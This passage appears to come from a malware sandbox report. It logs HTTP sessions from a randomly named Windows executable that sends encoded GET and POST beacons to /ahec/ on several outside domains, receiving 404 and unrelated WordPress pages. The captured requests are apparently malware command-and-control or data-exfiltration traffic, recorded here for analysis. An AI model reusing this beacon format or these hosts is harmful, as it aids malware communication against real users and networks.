kJt6+2P9DucnatynEldo1VFtqdLNNRQx1k+Nv4MLg25ZcKjZ8ZTBv3c0Hjnj4rkfwnGe6MfuRs1PNcuc2FkDp8HuO8k0P9XIwjBPAp8vq1s6LE4dIs9oZXE/qDnVUeAh+DJQiJiKSMTzR0P4XEn5lhJ9xH0LdJeKXwPAwgyPpM1Vr9tG61XIbzLQsr5bOcVwdsIOwQbI85oaZuLdH+7Q1Hv2P5EJnqXd+uS9Ao1sJDuxyfxQHI6f3AxSQ2hpnVDMC6E2i1HkyDyMZwFqjuUi8G/+51Fw64BSw4WhX3WsMbiyD9Myuer8IpdRfyP9FuCam7ZcTL3oYsJf3qQYINrjnZlNQbQqodyr4cUUSAUHPG63lOgtJmaeBI2w8WGKegyoxpxl5z8M9DfRXXdf8cLa9WEfJLnHZNR1tsvpclQNexc8giroL/H3w7RGHBItEBrBWbcI0X9e+oydV7PLOd8klG2zSvveH+95nNdHIj7EN9ztlK0oaKm5MxraHiK5OdvAqJooDYsr6RO7HeeCF43qhaNFU+K6elBfn6AiCUEigrlQ1hSdZiNd3xt0SF5oFTYwE3QthBWyvguz3ApSlkVPrEpB37zu3szrPbH/d
Dec 8, 2023 14:52:52.827841043 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:52 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49780	162.241.252.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:55.335270882 CET	477	OUT	GET /ahec/?XveXHZvx=nB1qtJANgieev8TKH3dNfv3ofOkziUaCXRyPWsB/WMzSWoyZdSlu5bXncPzzIIBEZ/2nP35zxbYs3CtalsMTKbCYScmVHGO9lg==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.thecoloringbitch.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:52:55.547863960 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:55 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49781	185.74.252.11	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:01.509511948 CET	744	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.altralogos.com Origin: http://www.altralogos.com Referer: http://www.altralogos.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 36 6e 41 59 31 70 77 4a 75 72 46 33 6d 5a 56 74 71 68 6f 6a 63 53 2f 70 46 51 4e 64 2b 65 70 6a 5a 5a 77 67 4e 41 36 6c 57 77 45 6d 6d 32 4c 39 4d 44 46 6a 73 4a 33 57 4f 6f 6e 54 6c 41 47 38 51 64 52 4e 53 47 2b 6e 38 30 4f 31 4c 58 69 66 38 77 79 51 51 4b 54 76 4b 4e 57 76 57 58 39 59 61 71 58 4c 6b 37 55 77 6a 4c 62 66 6c 67 6b 39 37 51 36 38 64 35 45 38 4c 6c 33 34 46 46 46 51 68 76 64 49 30 72 4b 5a 76 6c 51 6c 58 4f 5a 4d 37 48 58 36 70 72 35 51 61 71 76 41 61 44 6d 76 31 47 6d 70 76 53 70 66 72 4f 33 6c 72 76 47 66 58 51 3d 3d Data Ascii: XveXHZvx=6nAY1pwJurF3mZVtqhojcS/pFQNd+epjZZwgNA6lWwEmm2L9MDFjsJ3WOonTlAG8QdRNSG+n80O1LXif8wyQQKTvKNWvWX9YaqXLk7UwjLbflgk97Q68d5E8Ll34FFFQhvdI0rKZvlQlXOZM7HX6pr5QaqvAaDmv1GmpvSpfrO3lrvGfXQ==
Dec 8, 2023 14:53:02.853344917 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:53:01 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 Data Ascii: 4000<!DOCTYPE html><html lang="ru-RU"><head><meta charset="UTF-8"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="pingback" href="http://altralogos.com/xmlrpc.php"><script>window.MSInputMethodContext && document.documentMode && document.write('<script src="http://altralogos.com/wp-content/themes/woodmart/js/libs/ie11CustomProperties.min.js"><\/script>');</script><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO Premium plugin v19.2.1 (Yoast SEO v19.6.1) - https://yoast.com/wordpress/plugins/seo/ --><title> \| Altralogos</title><meta property="og:locale" content="ru_RU" /><meta property="og:title" content=" \| Altralogos" /><meta property="og:site_name" content="Altralogos" /><script type="application/ld+json" class="yoast-schema-graph">{"
Dec 8, 2023 14:53:02.853411913 CET	1286	IN	Data Raw: 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f Data Ascii: @context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://altralogos.com/#website","url":"https://altralogos.com/","name":"Altralogos","description":"Altralogos","potentialAction":[{"@type":"SearchAction","target":{"@type":"En
Dec 8, 2023 14:53:02.853451967 CET	1286	IN	Data Raw: 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 37 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a Data Ascii: .125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><link rel='stylesheet' id='elementor-icons-css' href='http://altralogos.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?v
Dec 8, 2023 14:53:02.853491068 CET	1286	IN	Data Raw: 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 64 2d 62 61 73 65 2d 64 65 70 72 65 63 61 74 65 64 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c Data Ascii: media='all' /><link rel='stylesheet' id='wd-base-deprecated-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/base-deprecated.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-elementor-base-
Dec 8, 2023 14:53:02.853528023 CET	1286	IN	Data Raw: 27 20 69 64 3d 27 77 64 2d 70 61 67 65 2d 74 69 74 6c 65 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 Data Ascii: ' id='wd-page-title-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/page-title.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-wd-search-form-css' href='http://altralogos.com/wp-content/the
Dec 8, 2023 14:53:02.853564024 CET	1286	IN	Data Raw: 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 73 2f 70 61 72 74 73 2f 6f 70 74 2d 73 63 72 6f 6c 6c 74 6f 74 6f 70 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 Data Ascii: -content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='xts-google-fonts-css' href='https://fonts.googleapis.com/css?family=Inter%3A400%2C600%2C300%7CPlayfair+Display%3A40
Dec 8, 2023 14:53:02.853600979 CET	1286	IN	Data Raw: 49 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 64 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 53 44 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 3f Data Ascii: I" type="application/rsd+xml" title="RSD" href="https://altralogos.com/xmlrpc.php?rsd" /><meta name="generator" content="WordPress 6.4.2" /><meta name="theme-color" content="rgb(1,34,31)"><meta name="viewport" content="width=device-widt
Dec 8, 2023 14:53:02.853637934 CET	1286	IN	Data Raw: 70 3a 20 2d 30 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2d 30 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 30 30 25 20 2b 20 30 70 78 29 3b 0a 7d 0a 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 Data Ascii: p: -0px;margin-bottom: -0px;height: calc(100% + 0px);}@media (min-width: 1025px) {.whb-top-bar-inner {height: 80px;max-height: 80px;}.whb-sticked .whb-top-bar-inner {height: 40px;max-height: 40px;}.whb-he
Dec 8, 2023 14:53:02.853673935 CET	1286	IN	Data Raw: 6c 61 79 22 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 23 Data Ascii: lay", Arial, Helvetica, sans-serif;--wd-title-font-weight:600;--wd-title-color:#242424;}:root{--wd-entities-title-font:"Playfair Display", Arial, Helvetica, sans-serif;--wd-entities-title-font-weight:700;--wd-entities-title-color:#33333
Dec 8, 2023 14:53:02.853712082 CET	1286	IN	Data Raw: 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 73 75 63 63 65 73 73 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 7d 0a 3a 72 6f 6f 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 77 61 72 6e 69 6e 67 2d 62 67 3a 72 67 62 28 32 32 35 2c 31 31 33 2c 36 35 29 3b 0a 7d 0a Data Ascii: t{--notices-success-color:#fff;}:root{--notices-warning-bg:rgb(225,113,65);}:root{--notices-warning-color:#fff;}:root{--wd-form-brd-radius: 35px;--wd-form-brd-width: 2px;--btn-default-color: #ff
Dec 8, 2023 14:53:03.093631983 CET	1286	IN	Data Raw: 6e 2e 77 64 2d 73 65 63 74 69 6f 6e 2d 73 74 72 65 74 63 68 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 67 61 70 2d 64 65 66 61 75 6c 74 20 7b 0a 09 09 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 31 32 70 78 3b 0a 09 09 7d 0a 09 Data Ascii: n.wd-section-stretch > .elementor-column-gap-default {max-width: 1212px;}.elementor-section.wd-section-stretch > .elementor-column-gap-extended {max-width: 1222px;}.elementor-section.wd-section-stretch > .elementor-column-g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49782	185.74.252.11	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:05.118521929 CET	764	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.altralogos.com Origin: http://www.altralogos.com Referer: http://www.altralogos.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 36 6e 41 59 31 70 77 4a 75 72 46 33 6c 34 6c 74 73 47 30 6a 65 79 2f 32 5a 41 4e 64 6e 75 70 76 5a 5a 38 67 4e 43 57 31 57 44 67 6d 6d 54 76 39 4e 47 6c 6a 72 4a 33 57 47 49 6e 73 34 51 48 77 51 64 74 2f 53 45 71 6e 38 30 79 31 4c 57 53 66 39 42 79 50 54 36 54 70 41 64 57 74 4a 6e 39 59 61 71 58 4c 6b 37 70 62 6a 4c 44 66 6c 78 55 39 70 46 47 2f 62 4a 45 2f 43 46 33 34 55 56 46 4d 68 76 64 6d 30 71 58 32 76 6d 34 6c 58 50 70 4d 37 54 37 39 6a 72 34 62 48 61 76 4f 53 68 6a 37 2f 6b 37 34 73 43 46 71 6b 4f 47 5a 6a 61 71 4d 51 67 44 45 67 61 6a 39 42 42 67 59 44 4c 44 43 4d 34 51 5a 42 72 41 3d Data Ascii: XveXHZvx=6nAY1pwJurF3l4ltsG0jey/2ZANdnupvZZ8gNCW1WDgmmTv9NGljrJ3WGIns4QHwQdt/SEqn80y1LWSf9ByPT6TpAdWtJn9YaqXLk7pbjLDflxU9pFG/bJE/CF34UVFMhvdm0qX2vm4lXPpM7T79jr4bHavOShj7/k74sCFqkOGZjaqMQgDEgaj9BBgYDLDCM4QZBrA=
Dec 8, 2023 14:53:06.360938072 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:53:05 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 Data Ascii: 4000<!DOCTYPE html><html lang="ru-RU"><head><meta charset="UTF-8"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="pingback" href="http://altralogos.com/xmlrpc.php"><script>window.MSInputMethodContext && document.documentMode && document.write('<script src="http://altralogos.com/wp-content/themes/woodmart/js/libs/ie11CustomProperties.min.js"><\/script>');</script><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO Premium plugin v19.2.1 (Yoast SEO v19.6.1) - https://yoast.com/wordpress/plugins/seo/ --><title> \| Altralogos</title><meta property="og:locale" content="ru_RU" /><meta property="og:title" content=" \| Altralogos" /><meta property="og:site_name" content="Altralogos" /><script type="application/ld+json" class="yoast-schema-graph">{"
Dec 8, 2023 14:53:06.360991955 CET	1286	IN	Data Raw: 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f Data Ascii: @context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://altralogos.com/#website","url":"https://altralogos.com/","name":"Altralogos","description":"Altralogos","potentialAction":[{"@type":"SearchAction","target":{"@type":"En
Dec 8, 2023 14:53:06.361032009 CET	1286	IN	Data Raw: 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 37 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a Data Ascii: .125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><link rel='stylesheet' id='elementor-icons-css' href='http://altralogos.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?v
